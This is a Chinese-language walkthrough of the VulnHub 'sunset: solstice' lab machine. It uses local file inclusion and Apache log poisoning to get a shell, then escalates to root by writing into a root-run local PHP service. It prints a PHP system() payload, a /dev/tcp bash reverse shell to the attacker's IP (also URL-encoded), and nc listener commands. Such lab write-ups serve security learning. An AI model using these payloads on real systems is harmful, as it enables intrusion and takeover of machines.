• vulnhub sunset: solstice


    渗透思路:

    nmap扫描端口 ---- 利用LFI和apache访问日志getshell ---- 利用可写的本地http服务php文件提权

    环境信息:

    靶机:192.168.101.97

    攻击机:192.168.101.34

    具体步骤:

    1、nmap扫描端口

    sudo nmap -sV -sC -p- 192.168.101.97

    扫描到一堆端口,大部分都是兔子洞

    2、利用LFI和apache访问日志getshell

    访问http://192.168.101.97:8593/,然后点一下Book List,发现url变成http://192.168.101.97:8593/index.php?book=list

    用/etc/passwd来尝试以上url是否有LFI漏洞,访问http://192.168.101.97:8593/index.php?book=../../../../etc/passwd,读取到了/etc/passwd的内容

    接着由于nmap扫描出80端口是apache httpd 2.4.38,所以在网上找到apache2的访问日志可能保存的文件路径,挨个进行文件包含看看访问日志到底保存在哪里,最后发现在/var/log/apache2/access.log

    (下图为访问http://192.168.101.97:8593/index.php?book=../../../../var/log/apache2/access.log)

    接下来尝试往access.log中写入payload:

    用nc访问靶机的80端口

    nc 192.168.101.97 80

    然后发送

    GET  system($_GET[xiannv]); ?> HTTP/1.1

    得到上图的结果后,再次访问http://192.168.101.97:8593/index.php?book=../../../../var/log/apache2/access.log,可以看到一条GET后面内容不显示的访问日志,这就说明payload写入成功了

    攻击机上nc监听8888端口

    nc -nlvp 8888

    接下来浏览器访问如下url,触发反弹shell:

    http://192.168.101.97:8593/index.php?book=../../../../var/log/apache2/access.log&xiannv=%62%61%73%68%20%2d%63%20%27%65%78%65%63%20%62%61%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%31%2e%33%34%2f%38%38%38%38%20%3c%26%31%27

    其中url编码部分的内容是:

    bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'

    得到靶机www-data用户的反弹shell

    在反弹shell中输入如下命令可以得到交互式shell

    python -c 'import pty; pty.spawn("/bin/bash")'

    3、利用可写的本地http服务php文件提权

    查找所有拥有suid的文件和目录

    find / -user root -perm /4000 2>/dev/null

    发现个奇怪的目录/var/tmp/sv

    进入该目录后,发现该目录下有个所有用户可读写的index.php,属主是root

    可以通过写入payload并访问该站点下的index.php文件达到获取某个用户反弹shell的目的。不过首先需要确认三点:

    1、/var/tmp/sv是哪个站点可以访问的目录

    2、站点的启动者是什么权限

    3、如何构造payload

    首先,查看哪个站点可以访问/var/tmp/sv

    ps -ef | grep sv

    发现本地57端口上的http服务的根目录是/var/tmp/sv,并且启动者是root用户

    关于php命令的参数解释可以看下图

    然后执行nc -help发现支持-e参数

    于是可以在/var/tmp/sv/index.php中写入payload:

    echo "" > index.php

    攻击机上监听9999端口

    nc -nlvp 9999

    靶机上访问本地57端口

    nc 127.0.0.1 57

    然后访问index.php

    GET /index.php HTTP/1.1

    再多按一次回车

    即可得到root用户的反弹shell

    分别在/home/miguel和/root下找到两个flag

  • 相关阅读:
    数组去重,数组去除空格
    基于Java+vue前后端分离高校社团管理系统设计实现(源码+lw+部署文档+讲解等)
    mysql双主互从
    请使用java完成以下实验
    Oracle中计算除法——解决除数为零报错
    LeetCode刷题---LRU缓存
    大数据之LibrA数据库系统告警处理(ALM-12031 omm用户或密码即将过期)
    (二)大白话InnoDB存储引擎的架构设计
    【科学文献计量】pybibx论文原文精读与对照翻译
    Debezium日常分享系列之:使用数据库中的数据流进行在线机器学习
  • 原文地址:https://blog.csdn.net/elephantxiang/article/details/126335716